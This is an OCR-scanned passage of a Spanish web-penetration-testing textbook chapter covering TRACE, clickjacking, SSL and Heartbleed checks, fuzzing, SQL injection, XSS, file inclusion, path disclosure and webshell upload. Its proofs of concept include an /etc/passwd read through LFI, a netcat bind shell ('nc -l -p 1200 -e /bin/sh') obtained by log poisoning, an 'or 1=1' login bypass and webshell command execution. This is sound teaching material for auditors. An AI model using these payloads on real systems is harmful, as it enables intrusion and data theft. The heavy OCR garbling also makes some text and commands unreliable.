i, o a acantfe. s un me[loldo no SE]’IC’:I][O porque se deben cumplir dos condiciones,
* no sea sencillo poder utilizar esta via.
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request

@ﬁ_@ headers hex |

TRACE ¢ HTTP/1.0
Hast: IWTTTT |, TS
Cookie: FAELDAFABADIL

= =11 N ' 0 matches

response

HTTRS1.1 200 OK

Darte: Wed, 02 MNow 011 20:40:00 ST

Server: LpschedZ, 2.3 1Red Han) DIV/E mod JkS1.2
FrontPage/5,0,2.2535 PHP/S.1.6 mod ss1.,2.2.3 Ope
Connection: claose

content—Type: message/http

>
ISL/0.9, Bl

TRECE / HTTP/ 1.0
HoST: WY, Seewesrrmes
Cookie! FABADAFRBADA

Fig. 3.14: Cookie en el cucrpo de la respucsta del método TRA ('

Proteccion contra Clickjacking

El clickjacking, también conocido como UJ Redress Atiack, es una téenica que permite engafiar a
usuarios en Internet. El objetivo de esta téenica es que estos usuarios revelen informacion credencial
o realicen acciones que no saben que realmente estan realizando.

. Como funciona? Consiste en cargar un sitio web externo en un iffame no visible, es decir, opacidad
con valor 0, y poner debajo del ifiame no visible elementos para que el usuario crea que estd haciendo
clic, pero realmente tiene el ifiame invisible encima, por lo que el usuario no ve realmente dénde
esta haciendo clic.

Esta técnica es muy utilizada para engafiar al usuario y que realice acciones como proporcionar votos
en redes sociales. noticias, robo de informacion, etcétera. El auditor deberd analizar la cabecera
X-Frame-options para comprobar si un sitio es vulnerable a clickjacking.

Hay una variante para HTML5 denominada Cross-Origin Resource Sharing, CORS, 1a cual permite
un tipo de ataque similar a clickjacking recurriendo al mencionado HTMLS. Tanto el clickjacking,
como sus variantes en nuevas tecnologias deben ser analizadas y comprobadas.

Deteccion y explotacion

Este apartado engloba todas las acciones gencrales que se pueden realizar en la auditorfa. La
deteccidn y explotacion es una de las fases importantes, ya que es el instante en el que el auditor
identificard y demostrard la posible existencia de vulnerabilidades, aprovechandose de ellas para

poder obtener un resultado positivo en la prueba.

Las pruebas que se estudiardn a continuacién son la realizacion de los andlisis de seguridad del
protocolo SSZ y la manipulacion de pardmetros, dénde se estudiaran técnicas tan interesantes como

Capitulo 1. Confeccionando el ataque

SOL Injection, Cross-Site Seripting, CSRF, LDAP Injection, XPath Injection, etcétera. El andlisis de
las coa/ffes es otra de las pruebas interesantes donde se puede sacar mucha informacion referente
a este sistema de validacion de sesion. Por dltimo, se hablaran de otras téenicas de hacking web
que se pueden estudiar en OWASP, y que la mayoria sigue estando en el top fen. Se estudim:én los

file inclusion, los path disclosure, la subida de ficheros. accesos no autorizados a ciertos recursos

ataques a los puntos de entrada. etcétera.

Analisis SSL

En esta prueba se debe probar la autenticacion y privacidad de las comunicaciones. Para ello se
deben realizar una serie de pruebas que verifiquen el estado de este protocolo en las comunicaciénes
de la organizacién con el exterior. Se conocen diversos ataques que pueden poner en peligro estas
dos premisas, autenticacion y privacidad, por lo que se debe tener en cuenta,

Como se ha visto en este libro la herramienta ymap provee de scripts que pueden ejecutar pruebas
para cubrir esta tematica, pero ademas existen diversos servicios en Internet que pueden realizar
estas pruebas de manera rdpida. Uno de estos servicios es SSL Labs de Qualys.

Qvearall Rating

Certificate

Protocol Support

i,

ey Exchange

Cipher Strength

Documentation: SSL/TLS Deployment Best Practices, SSL Server Rating Guide, and OpanS51L Cookbook

Fig. 3.15: Resumen analisis SSL en Qualys

Mcdm'me el uso de algoritmos criptograficos se cifra la informacion que se intercambia entre cliente
y servidor, por ello hay que estudiar el uso de los algoritmos criptograficos, ya que algunos pueden
S¢ ~ o e . R Shilec o] 1 H T 1 "
er ng recomendados por ser débiles. Mediante el uso del certificado se autentica la identidad de los
ervidores, aunque este hecho también es algo critico, ya que existen técnicas para que este proceso
pueda fallar,
Las as ilisi
as pruebas que se pueden llevar a cabo en un proceso de analisis de SSL son las siguientes:
- Version del protocolo soportable en el sitio.
- Tipos de algoritmos de cifrado disponibles.
- Integridad de los certificados.
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- Verificar el acceso a recursos por canales no seguros.

- Ataques conocidos.

Siempre hay que recordar que pueden salir nuevas vulnerabilidades en el protocolo. por 1o que se
deberian afiadir al listado de pruebas a realizar.

En la prueba de version del protocolo soportable en el sitio se comprueba que versiones de SSLy TLS
son soportadas por la maquina de la organizacion. Si se detecta la versién SSLv2 como seportable
¢e detectarfa una vulnerabilidad, ya que no es recomendable su uso. ‘Un resumen proporcionado por

Qualys, o incluso por mmap seria el de la imagen.

Protocols

TS 1.2 Yes
TLS 1.1 Yes
TLE 1.0 Yes
58L32 Yes
3s8L2 lla
(21 Thiz site raquires support for virtual SSL hasting but SSL 2.0 and SSL 3.0 do not suppart this feature

Fig. 3.16: Pratocolos soportados en el analisis de SSL.

Los tipos de algoritmos disponibles deben ser analizados. y en el caso de encontrar uno que fuera
considerado débil indicarlo en el informe. Este tipo de prueba se ha realizado con amap. aunque
de nuevo Qualys proporciona un nivel de detalle mayor. El servicio de Qualys realiza ademas unas
pruebas de handshake con distintos navegadores y sistemas operativos. incluyendo sistemas moviles.

La integridad de los certificados digitales es otra de las pruebas que se deben realizar. Se identifica
la entidad emisora del certificado como de confianza, no ha tenido algiin incidente de seguridad
conocido. La validez del certificado también debe ser comprobada y el tipo de algoritmo de resumen
utilizado, si es la familia SHA mejor que MD3. Ademas, se debe verificar el ceritificate pinning.

Se debe verificar que no se pueda acceder a recursos por canales no seguro. denominado SSL Skip.
En esta prueba se intenta verificar que todo elemento que debe estar bajo la capa SSL no pueda ser

accedido sinella.
En algunas ocasiones una mala configuracion puede provocar que se pueda acceder por HTTE por
ejemplo a una cookie, cuando lo deseado es que siempre sea a través de SSL.

Por ltimo. se debe verificar si la organizacion es vulnerable a los ataques conocidos sobre SSL.
Ataques conocidos como BEAST o CRIME. renegociacion de claves no seguras, downgrade, SSL

Hearthleed. etcétera.

La herramienta de Qualys proporciona esta informacion de manera automética, ya que ellos realizan
dichas pruebas en el andlisis de SSL, por lo que es altamente recomendable su utilizacion.

Capitulo 11, Confeccionando el ataque

Se debe tener en cuenta que en muchas ocasiones se deben juntar tanto los servicios automalticos
con ]losd_piocesos manuales. ya que las herramientas automaticas no siempre conseguirdn todos los
resultados.

Poc: SSL Heartbleed, obligado a probarse

Ha sido s?il?.duda la vulnerabilidad del afio 2014 con un gran impacto medidtico y una facilidad
de ex.p()smlon y .explotaci('m dificil de encontrar en otras. Esta vulnerabilidad (CVE-2074-0160)
permite a cualquier usuario de Internet leer hasta 64 KB de memoria de los sistemas qué utiliéan
versiones de OpenSSL vulnerables.

-Qué se puede sacar de ? $ 8 ‘ i i i

Qu p sa(.,a.zr.dc ello.- Pue-s se compromete la seguridad de credenciales, cookies, claves
secretas que se utilizan para identificar proveedores de servicios y cifrar el trdfico, contenido de
hcheros o correos electronicos, etcétera. En definitiva informacion que pueda encontrarse en la
memoria del proceso de OpenSSL.

Lo mas gl'.ave.de esta vulnerabilidad es que no solo afecta a los servidores web cuando protegen
|[ltli .comumcacso.nes con OpenSSL para crear el HTTPS. si no que existen multitud de servicios aue
utilizan esta aplicacion v que entonces son igual de vulnerables que el servidor web. Por ejerzln hlo
Hearthleed afectara a todo seryicio de correo electrénico, servicio de red privada. virtual l"IPN‘.
motor de base de datos o panel de administracion de cualquier servicie que utilice algunas de |d%
librerias vulnerables de OpenSSI para cifrar la capa de comunicaciones entre el clicnt; que reaii7;l
la conexion y el servidor. - c

3, i} - " T 5 . e
Por (:_]E[T]plU. en proyectos de auditoria después de la publicacién del a vulnerabilidad ha sido muy
comun encontrar tanto en [ntranets como expuestos en Internet servidores POP3S. IMAPS, CPA NEL
cteétera, que han sido vulnerables ha dicho fallo. - *

Aunque, gracias al impacto mediatico y la criticidad de la vulnerabilidad, se ha corregido rapidamente
en muchos servidores de [ntemnet, todavia existe gran cantidad de servieios que s?m vulnerables a
dicha vulnerabilidad. Por esta razdn. en cualquier analisis de SSL que se realice se deberd com Jroi;a;'
que todo dominio y puerto que pueda utilizar capa SSL son analizados contra esta vu]ncrabilildad.

Para ello se puede utilizar un seripr denomin: sltest.py - descarge csde (G
;'lrn','-i.s'://.f;f.f/mb.c‘mn/nﬂf‘_\‘m’bcu‘/:’lc'a{".fbleec;—nriili‘?;:':;;zzti?ca;\‘f.’cilrf}jsl;;i?e Sje{(;k"bu'nadfk‘) du’('it ({”h”h
i A st.py. Otra de las herramientas
que pueden ser utilizadas para comprobar que los dominios de la auditoria y servicios no sor;
\r‘u!ﬂerlai.}les ¢s FOCA. la cual dispone de un plugin que a la vez que se van descubriendo dominios
y servicios se va comprobande si son vulnerables. \

Esta he i S - igui i i
- crrarment.a se puede descargar desde la siguiente direccion URL hiips:/vww.elevenpaths.com/
eslabs-herramientas-foca hrmi. |

:jji::(;iz I:‘Jl]slgalzu\sL:;;aessgnlaSOS por la i]ﬂ})Ol‘l&l]Cia del 1'1.0.11‘lb1'€ del domi.nin tue el de Yahioo. El mismo

g o Vu[nembii.idadla ilida S.E deteﬂcto esta. vulnerabilidad en el dominio login.yahoo.com. Gracias

SR, P lsle_ cot11p10111§tleron m!l]ones de cuenta_s de usuarios de Yahoo, por lo que la
que emitir un comunicado pidiendo a sus usuarios que cambiasen sus contrasefias.
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Fig. 3.17: Explotacion de Hearthleed.
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{¥] Check all hosts that FOCA detects automatically for the HeartBleed vulnerability.

Alternatively you can use a manual checker

‘ Manual check 5\
| v 0 e B

Pending Checked Yufnﬁgblt » ——
. — = =T | dermofaast elevenpaths com:

g 443

| } elevenpaths com ‘

| wivw elevenpaths com 443 ‘
' |sich slevenpaths com:4473 _
| blog elevenpaths com:443 ‘ ‘

faas elevenpaths com:443 |

Fig. 3.18: Heartbleed y ¢l plugiin de FOCH.

i iti i ervicio de un
Realmente han salido diversos plugins o, incluso, sitios web qu’eicomprueba].ﬁ siun ;f I
dominio es vulnerable o no. Otra de las recomendaciones es utilizar el ph;gm que Nmap

- . . pn URL
Este plugin o script se denomina ssl-heartbleed y puede encontrarse en la siguiente direccio
hfq;://nmap.org/nsedoc/s'cript;s/ssl-hearzb!eea’.htm[.

Capituilo Il Confeccionando el atague m

Fuzzing

El firzzing es una téenica de testeo de sofiware capaz de generar datos secuencias o aleatorios a los
puntos de entrada de una aplicacién con el objetivo de poder detectar vulnerabilidades, y también
poder encontrar fallos que hagan al sofiware inestable o realizar acciones con resultados erréneos.

El investigador espafiol José Miguel Esparza hizo un gran trabajo investigando sobre este tema e
implementado una herramienta denominado Malybuzz,

El fizzing es utilizado como un complemento en el testing de software, ya que proporciona acceso

a regiones de codigo no probadas antes. El fuzzing utiliza una combinacion entre aleatoriedad ¥
heuristicas interesantes para llevar a cabo las acciones.

El funcionamiento de los firzzers tiene varias etapas:

- Obtencidn de datos. ;(Qué datos se quieren enviar a la aplicacién? Se pueden obtener de
un listado proporcionado a la herramienta o generar en el instante de enviar los datos a la
aplicacion.

- Envio de datos. En funcion del medio para realizar el envio v el ambito de trabajo del
Juzzer se enviardn los datos a la aplicacion.

Andlisis. Tras enviar los datos y que la aplicacion haya procesado las entradas se obticnen
unas salidas que hay que analizar. El comportamiento de la aplicacion debe ser analizado
para ver si el comportamiento de la aplicacion es el que se esperaba.

l:n muchas ocasiones se pueden detectar fallos en la aplicacién gue no impliquen un problema

de seguridad. pero los fizzers pueden ser utilizados para automatizar un conjunto de pruebas que
puedan sacar a la luz un fallo de seguridad.

Existen diversas téenicas de fizzing. las cuales se enumeran a continuacion:

- Repeticion. Este tipo de fuzzing sc realiza cuando, generalmente, se buscan posibles
huffer overflow en la aplicacion, Consiste en ir probando el conjunto de entrada multiplicado
porun valor en cada iteracion o prueba. con ello se intenta encontrar limites mal configurados
o mal implementados. Este tipo de firzzing se suele clasificar en la categoria generacion,

- Permutacién. Con una palabra de prueba comao entrada se van haciendo permutaciones y
enviando las entradas generadas. Este tipo también se clasifica en la calegoria de generacion.

Inieger Oveiflow. Cuando una aplicacion recibe un niiniero que no puede manejar, va
Sea porque esta fuera de su rango, o porque se esperan valores positivos y se recibe uno
negativo, etcétera, se provoca este tipo de errores. Esto puede derivar en un buffer overflow.
Un gjemplo sencillo de esto seria la modificacion del campo conteni-length en una peticién
HTTP para provocar un error ante una peticion neo esperada.

Mutacién. Este tipo pertenece a la categoria que tiene su propio nombre, mutacién. Es un
mctodo que tiene como principio una entrada valida y se van realizando ciertas mutaciones

de los datos con la intencion de que sigan siendo validas, pero inesperadas para lograr un
objetivo concreto.
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Manipulacién de parametros

Es quiza una de las pruebas estrella en las auditorias web, ya que en caso de deteccion de alguna de
las vulnerabilidades los clientes quedan alarmados y realmente preocupados. Esto es quiza porque
algunas vulnerabilidades de este apartado como SQLi o XSS copan los primeros lugares €n los
distintos fop de vulnerabilidades que més se siguen encontrando a dia de hoy. Aungue también es
por los efectos que estas vulnerabilidades preducen en la imagen de la empresa.

Este tipo de pruebas se pueden resumir en la manipulacion de toda la informacion que se envia al
servidor, por ejemplo modificando cabeceras HTTP cookies, parametros por GETy POST, etcétera.
El objetivo es provocar un mal comportamiento en la aplicacion web para que realice acciones para
las cuales no fue disefiada. Las pruebas mas tipicas son las inyecciones SOL, LDAP, XPATH, los
cross-site scripting, ejecucion de comandos remotos o los CSPP.

En primer lugar se tratan las inyecciones SOL, ya que también son las vulnerabilidades que mas
afectan a los recursos de las empresas en Intemnet. Son también unas de las més temidas por el
fuerte impacto que puede tener en la organizacion que las sufte. Esta vulnerabilidad afecta a
todas las aplicaciones web que recogen informacion de una base de datos mediante parametros
incorrectamente filtrados. Alectan a todos los motores de base de datos como MsSOL, MySQOL,

Oracle, PostreSQL, etcétera.

A lo largo de los afios se han ido recogiendo distintas t€cnicas de ataque como, por gjemplo, los blind
SOL o inyecciones a ciegas, inyecciones basadas en aritmética, en errores o en Lempos. . Como
obtengo un indicio? Es muy comtin utilizar la comilla simple en los pardmetros que recogen valores,
con el objetivo sencillo de provocar un error en pantalla. No todos los servidores tienen la directiva
display _errors habilitada por lo que se utilizan otras técnicas como las comparaciones matematicas
“and I=1"y “and 1=2""y comparar «i el HTML obtenido cambia. Son maneras sencillas de detectar

un SQL Injection.

La explotacion puede ser sericilla en algunas ocasiones, aunque en otras muchas ocasiones puede ser
algo realmente complejo. Por esta razon se puede automatizar el proceso con diversas herramientas.
A continuacién se muestran ejemplos de algunas herramientas recomendables para su uso:
- Havij. Es sin duda unos de las mejores herramientas para explotar SQL Injection, facil de
configurar y con resultados muy buenos. Generalmente, en las comparativas que s¢ realizan
con otras herramientas Havif sale ganando en muchas de ellas. Esta herramienta dispone de
version gratuita y comercial. Las limitaciones se encuentran en las tecnologias a explotar.
- SQLmap. Esta herramienta viene disponible con la suite Kali Linux. Permite realizar
deteccion y explotacion de SOLI. Los resultados que se proporcionan son bastante buenos.
Dispone de distintos modos de agresividad a la hora de realizar inyecciones.
- Burp Suite. Esta herramienta ayuda a los auditores funcionando como proxy entre
¢l navegador e Internet. También puede realizar funciones de repeater y spider. En este
caso los auditores deben realizar las acciones manualmente, aunque aracias a las funciones
mencionadas anteriormente, se ayuda al auditor en su trabajo.
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Fig. 3.19: Henvij explotando un SQLI
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- Defacement. Este puede ser como alteracion o sin alteracién del sitio web.

- Distribucién de mahvare.

- Ejecucion de codigo Javascripl, entendiéndose que dicho cédigo serd malicioso o
recopilara informacién interesante sobre la maquina o red de la victima.

- Ataques de phishing.

- Robo de cookies.

Otros vectores de ataque que abre son los ataques MITB, Man In The Browser, con el que se puede
tomar el control remoto del navegador. Este tipo de vulnerabilidades utilizandolas con otras abren
nuevos vectores de ataque, los cuales se van descubriendo con el paso del tiempo. Un XSS es una
navaja suiza potencial en los navegadores de los usuarios o en los servidores de las empresas,

dependiendo del tipo que sea.

Existen, bien diferenciados. dos tipos de XSS: el reflejado y el persistente. El XSS reflejado afecta
solo a los clientes y se basa en la manipulacion de un pardmeiro vulnerable de una direccién URL.
Cuando este link se pase a una victima de manera ofuscada, ésta lo abrira y el codigo scripf se
ejecuta en su navegador. Es cierto que si el parametro es vulnerable es debido a que no se esta
fltrando correctamente por parte de la aplicacion web, y hoy en dia, ni por parte del navegador.

[l XSS persistente es un codigo seripl que, generalmente. queda registrado en una base de datos
al realizar una peticion maliciosa con unos parametros mal filtrados. Entonces, cuando un usuario
acceda al sitio web y éste recoja la informacion a mostrar de Ta base de datos se le presenta el codigo
seript provocando el XSSy ejecutandose en el navegador de la victima. La diferencia es clara, el
reflejado afecta solo al navegador de la victima y son los més usuales, y los persistentes se almacenan
en el sitio web provocando que por cada usuario que acceda a ese recurso quede expuesto a un XSS.

Inclusion local y remota

En este apartado se tratan dos vulnerabilidades bastante importantes en las auditorias. En primer
lugar se trata un local file inclusion, también conocida como L1, Esta vulnerabilidad surge cuando
el servidor realiza la lectura de un fichero local a travcs de parametros que pueden ser modificados
por un usuario malicioso. De este modo la direccién del archivo puede ser modificada para mostrarel
contenido de un archivo arbitrario. Gracias a esta técnica un usuario malicioso puede comprometer
la seguridad de todo el servidor, y provocar la lectura del codigo de la aplicacion web, entre otras
cosas.

Un LFI suele ir acompafiada, y en muchas ocasiones son tratadas como algo similar o idéntico, dela

denominada path transversal. Esta consiste en forzar el acceso a ficheros y directorios que residen

en el servidor, pero fuera del directorio virtual de la aplicacion web, permitiendo que un usuario
malicioso pueda manipular la direccion URL y llegar al sistema de archivos de la maquina.

Los desarrolladores web suelen utilizar funciones que permiten la inclusion de archivos, por I0
que si la recogida del valor en una peticién cae sobre este tipo de funciones, se puede realizar und
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A continuaci6n se proporciona un ejemplo rapide de RFI:

=?php
include(S GET[ ‘wurll’J):

include(S GET[‘uri2’]. “php"}):

G-
iy

En el primer 7 o incluird g :

. m\,]: A m‘clzzdc. incluiria una pagina web externa sin ningin filtro por lo que su explotacion
sirivial. Pore e ’ ing , ; i
ey inclcr tb‘llempl'oﬂ si se incluye una webshell en este parametro con cualquier tipo de extension
; pc B pretada. }Vhentras que en el segundo include se incluye la extensién “.PHP” con lo que no
se permite una inclusidn externa tan senci ; g : i

sencilla. Para solucionar e “ho g : :

W : : ste hech ) ! o B
#" codificado en URL encode (%423). Biemaghy milalr l cardete

PoC: LFI, un ejemplo
E - -
nesta prueba de coneepto se presenta el siguiente escenario:

Un siti i . . -
e lo web. dispone de una vulnerabilidad LF7. En uno de sus recursos se encuentra
go vulnerable, el cual para ejemplo se expone de manera simplificada: l

|=2php include(S_GET] pagina’]), 7> |

| usuario utilizara la herramienta curl para realizar las peticiones

El recurso vul
nerable se encue : " ) ‘
ntra en hip://dominio.com/poc.php?pagina=XXX.

En pri o T X
N primer | it fa utili i i
gar el auditor podria utilizar ciertas herramientas para explorar dicho parametro, que en
: :

€ste caso esty 1
sta por : i i
por GET. Si se realiza manualmente se realiza un path transversal para comprobar si
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s vulnerable mediante la peticion htip:{idominio.com/poc.php?paging
estuviera basado en *NIX.

curl 10.8.2.4-test. phpipage - cto/passwd =

afl:x:8:8:mail:svar/mail:sbinssh

ews | x 2919 news tsvarsspoo lsnews i shinssh
g p X 10118 nuep L Auvarsspodg JAuncpishing
proxytx 1313 proxy isbhinisbinssh
_data % 3337  wew-data i svarsw i sbinssh

=/etc/passwd, si el sistema

uh

Fig. 3.20: Obtencion del fichero passwd.

Una vez descubierto esto el auditor puede pensar en aprovecharse para lanzar una peticion para
obtener el log del servidor y lanzar un nefcal en el servidor que se quede a la escucha en un puerto
determinado.

Para llevar a cabo la siguiente estrategia se utiliza la siguiente peticion “hitp:/idominio.com/poc.

php?pag[na:/var/]og/auih.lug&'cmd:nc [ -p 1200 -e /binish &

cesh

curl "1@.‘3’1..i.}i"'.e_‘:t.php'e‘paqc'.'-,'.w,'IDq.f-Juth.quﬁcmd*nt' Iv pell08-

inssh &"

ne 16.0.2.2 1200

id

1id-33 (wwe-datal) gid 33 (wua data) gronps 33 Geww data)

Iname —a
Linux b1 3.2.6 B SHP Fri Feb 17 10:40:0% EST Z817 i6HO GNIL/L jnnx
ls -al

Ltotal 5

drwxr xr % J root root 060 Dec Zh 1b:42

Irwxr—-xr-x 21 root root 146 Jun N Zett )

rer- r 1 root root 177 May 10 2011 index, html

rWw - -T { root root 36 Dec 25 16:42 test.php

Fig. 3.21: Obtencion de una shell a través de la vulnerabilidad.

Basqueda de Path Disclosure

Este tipo de vulnerabilidad permite obtener informacion sobre 1
tratadas como fugas de informacion. Un full path disclosure esun
cuando un atacante genera un error en la aplicacion y se muesira e

itas fisicas, por lo que pueden ser
a vulnerabilidad que es provocada
| error y la ruta también.

1 de dicha vulnerabilidad parece inofensiva, ya que solo se estd proporcionando el

La explotacid
directorio fisico de la aplicacién, pero es sabido que cuanta mas informacion tenga un atacante sobre
ulnerabilidades se suelen combinar

un sitio, mas facil le resultara conseguir el objetivo. Este tipo de v

con otras denominadas directory transversal. que a la vez van ligadas, por ejemplo, con los local
file inclusion o LFI.

ar un errof,

eden detectar este tipo de vulnerabilidades? La forma clasica es provoc
trabaje con

;Cémo se pu
introduciendo un fichero no existente como parametro a un seript que

por ejemplo,

d

Capitulo I1l. Confeccionando el atague

ﬁul?eros. _La aplicacion devolverd un error mostrando, ademas, su propia ruta [isica de trabaj

Existen diversas maneras, incluso en algunas ocasiones el codigo subido no se encuer:;'i ef “E MJ;A
y solamente con acceder al recurso se provoca un fallo pmp‘;rcionando esta infommacci\éiil C():;1 O
VECes en aceesos a bases de datos se provoean fallos que provocan estas fugs ' j "
ver que existen diversos modos. i T T g

A co.n-tlnmamén se propone una direccion URL vulnerable a fidl path disclosure, por ejemplo hitp://
dominio.com/index.php? parametro=ficherp. Cuando el usuario cambia el v;'zl[o!rizfle[ Gt _7”!7— g
gweriy. quet?]an:do la URL hitp:lldomino.com/index.php?parametro=gwerty, se debe ﬁpzi'r:m]ell . ]P(;J I
que proporeiona la aplicacion web. Si el usuario visualiza algo similar al 1ﬁf;11qaje "Fajfal ?"ﬂ'?aCI [E.II
10 m-zdéjﬁne.dﬁmcfion e dn <rufa fisica™ ", acaba de detectar un full path di;('los-ure E el o

se puede visualizar un ejemplo real y la obtencién de la ruta interna. Saisisheans

Fatal error: Call to undefined function xap_links() in ‘home/ IR public_html‘template.php on line 452

Fig. 3.22: Deteccion de filf path diselosure.

Las aplicaciones deben disponer de un controlador de errores que gestionen estos fallos que pued

S provocados en las aplicaciones. s importante aportar la meﬁor inl"ormacién chacLia]Lj!L — -e‘n
hna!. En los servidores /1§ se dispone del modo debug cuando las peticiones m. realizar ;jlftlﬂxi()
red interna, y el modo normal para cuando las peticiones se realizan desde el t-:xteri()(r l;c1]' tLb(T b
Gaso, E Gas0 de haber un error en la aplicacion se aporta la menor informacién pov\ibf.c :H%S ) l 1 t |mo‘
en el primer caso al administrador o el usuario interno que haya obtenido este err();' se ]- I.El'][lz?%‘qUt
¢l mayor detalle sobre el fallo. AIUEREIEpropRtGiond

Al 1Eom o 1ot Ay
"‘F‘; nb’n.n LST ue; to qu’e_el modo debug de /1S puede ser encontrado habilitado piblicamente. lo cual
es una muy mala polilica, va que al generar un error en la aplicacion se obtiene el mavor detalle
€Ly U <l =4

Acceso no autorizado

En e.l Top10 de OWASP 20113 esta vulnerabilidad se encuentra en el puesto niimero 4. y es enunciada

en dlc.im fop como “Referencia Directa Insegura a Objetos™. ; En qué consiste’? Un si.li-n \; “;l_lu_‘f"‘““.

d’c objetos dentro del sistema y son referenciados a través de par.éunciros.-:i ;31 auditor ew L't‘“m“

-\‘z‘\l‘(ir por otro para referenciar directamente a otro objeto, el sistema debe;[a verificar viilcltcidri::t

l:::szlcé ,I;(fil?etlﬁ ::Crio‘lo hace? El auditor puede acceder a informacion y otras ﬁmcium}lidad‘ehg -p'ar';
ceso.

El sistema si :

Gl SIS 1 sie i - i " :
—aie : sn.ll:p[e debe comprobar que todo objeto al que referencia un usuario & través de un
tro puede ser accedido por dicho usuaric cas : iy
; Usuario, en ¢aso ¢ ar P P —_
seguridad, g caso contrario se puede caer en este fallo de

.Como se puede comprobar ili
)1 ir eg / . st 8e © 1
g el (Hp_( bar esta \L!inerab.lhdad? Realmente es sencillo, se propone un escenario
et el rol del usuario se tiene acceso a ciertas [unciones u objetos o a otras. Se
ificar i jetos 2 i . "
" dbiee odas las referencias a objetos y que éstas tienen los mecanismos de validacion
poder confirmar el acceso. En otras palabras, la aplicacién debe verificar si el usuario
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estd autorizado para acceder al recurso y realizar un andlisis de codigo de la aplicacion para poder
comprobar que la implementacion es correcta y cumple con las medidas de seguridad apropiadas
en este caso.

La utilizacién de herramientas automaticas en este ejemplo es complejo, ya que no suelen tener
resultados demasiados buenos. Por esto, una vez analizado el codigo y observando en qué puntos
se pueden encontrar errores de este tipo, se pueden realizar a mano las comprobaciones sobre las

referencias a objetos directos.

Subida de ficheros

Sin duda la subida de ficheros por parte de un atacante es uno de los mayores riesgos de seguridad
que existen, ya que estos ficheros subidos pueden proporcionarle el control total del servidor o parte
de é]. Existen diferentes mecanismos para que un atacante sea capaz de subir archivos, uno de ellos
ya se ha explicado en este libro, v es el de la utilizacion de métodos inseguros como PUT.

- Cudl es el objetivo en una auditoria? Realmente si un pentester consigue subir una shell o webshell
G J f = ]
muy probablemente tomara ¢l control del servidor, por lo que toda la informacién que éste almacene
queda comprometida, por ejemplo obteniendo los usuarios de la base de datos de la aplicacion.

Otras acciones que pueden interesar es demostrar que se puede escanear la red interna, la ejecucion
de comandos, convertir el servidor en un nodo para pivotar hacia otros equipos de la red interna o
DMZ dénde se encuentre, o convertirlo en un servidor de SPAM. Realmente el nimero de acciones
que se pueden llevar a cabo en este punto son, practicamente, ilimitadas.

Otra de las vias para subir ficheros a un servidor son las propias caracteristicas de ciertas aplicaciones
web en las que permiten subir una imagen o algim fichero con algtin formato conereto. Estos puntos
deben ser analizados de forma exhaustiva, ya que pueden realizar un mal filtrado y permitir subir
otro tipo de ficheros que no son los que la aplicacion espera. Un error en este punto, como se puede
entender. es crucial para la seguridad de la aplicacion, del servidor y, seguramente, de la propia
empresa.

PoC: Subida de una webshell
En esta prueba de concepto se presenta un entorno sencillo, pero que encadena diversas
vulnerabilidades. El escenario es académico. pero totalmente real, y se ha podido encontrar en

diversas auditorias.

La aplicacion web vulnerable es un portal de una autoescuela ficticia, en la que los usuarios se
registran y tienen un espacio dénde pueden configurar sus datos, fotografias e interactuar con ofros
alumnos. En este espacio virtual de encuentro también pueden realizar test para comprobar su
preparacion de cara al examen.

La aplicacion web consta de un punto de entrada que es la pantalla de /ogin, uh recurso publico
con el about, un recurso para el “Olvidé contrasefia’” y un Ultimo recurso con informacion de la

Capitulo I1l. Confeccionando ¢l atague 107

itoescuela, éste Gltimo ¢ i Ati
autoescuela, éste 'u]tm.ull con contenido estatico. Estos son los recursos superficiales de la aplicacion
weh. La tecnologia utilizada por la aplicacion web ASP. -

lUna dE‘: las pruebas obligadas en las pantallas de login es comprobar que no se pueden realizar

invecciones de algin tipo. Otra de las recomendaciones que se han ido haciendo Z;l loplarg 111 T?'llzal

es que sc deben realizar las acciones mas sencillas para ir pasando a acciones mas célnucl) . ]m'l

siempre comprobando todo. En muchas ocasiones se cae en el error de no comprobar zﬁfia;;)l)qeiig
=]

s algo [ i unci -
es alg demasiado 0bv1o_y no va a funcionar, pero en muchas ocasiones el fallo de seguridad puede
salir a la luz con una accidn sencilla. .

El auditor comprueba manualmente o utilizando algiin tipo de herramienta si existe alguna inyeccio

SQL en elllogz"n. La primera inyeccion a comprobar podria ser catalogada 32)1‘;10 ‘or:' = }[ e'LEl(in
sigue funcmnavdo? Hoy en dia, y aunque parezca increible, todavia existen sitios que son vulné v bT 0
a es’tq. Resumiendo, el auditor comprueba manualmente su primera inyeccion e introduc 1?1 -
usuario admin o la propia inyeccion y como passwoid la inyecceion. oo

ras esto. itor i
Tras es od c} auditor nota que accede a un panel de zona interna. Con esta simple inyeccian ha
conseguido ogrcu. el acceso, esto es una vulnerabilidad grave que no debe ocurrir hoy eJn dia, pero
como se ha mencionado todavia se pueden encontrar donde menos se espera. d -

Tras wl.suahze:jr los campos v que funciones existen en la aplicacién se podrian probar muchas mas
T N a - a1 T - 1) 1 [
LU?LIE_ dentro de la zona interna, pero centrandose en la subida de una webshell y aprovechando que
m@u un campo de carga de imagenes para la cuenta en la que se ha conseguido acceso, el penfester
decide comprobar la seguridad de dicho campo, i l ‘

Adjuntar foto o avatar;

Selecclonar archive | 102 58 13 228000 230 g

Fig. 3.23: Subida de tna wehshell.
La wehs/ i i
H hs e B S e g (PT Rogp=rr - v i
/l que se intente subir debe ser para ASP, ya que aqui importa la tecnologia. Algunas

webshiells ¢ i ; : 2
ol le.c mluy ’LOHOCIdaS para PHP son la C99 0 h374k. En este caso no se pueden utilizar éstas, ya
nologia es 4 sehshell di 3 privileoi i :
ologia es ASP. La webshell dispone de los privilegios que disponga cl usuario bajo ¢l que
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se ejecuta la aplicacion web, por lo que aqui también se puede aprovechar de una mala configuracion

por parte del administrador.

ebshell el usuario puede comprobar que no se filtran los ficheros, por lo que
de fichero y la aplicacion web dispone de un nuevo recurso donde
| nombre de la webshell, por lo que para

Tras la subida de la w
se puede subir cualquier tipo
deberian almacenarse las imégenes, en ¢sie caso com ¢
acceder a ella simplemente se debe ejecutar dicha direccion URL.

LQQQ.MIEM}Q.Q.‘-‘.’EMMLHMIMIMIMIMIEM!MIMEMIMIW.

Execute Command >>

CmdPath L o S
]

ciwinntisystem32iemd exe
Argurment . - o T
& net user l

Fig. 3.24: Ejecucion de comandos a través de lawebshell.
En este instante el servidor estd bajo el control del auditor que dispone de los privilegios que tenga
¢l usuario con el que se ejecata la aplicacion web para realizar acciones.

Ataques a los puntos de entrada
Cuando se encuentran puntos de entrada o login entry, éstos deben ser anotados para su posterior
andlisis. Estos login pasaran por diversas pruchas, incluidas las mas famosas de inyeccion, pero
una prueba que siempre debe realizarse, aunque a priori pueda resultar demasiado sencilla o conun
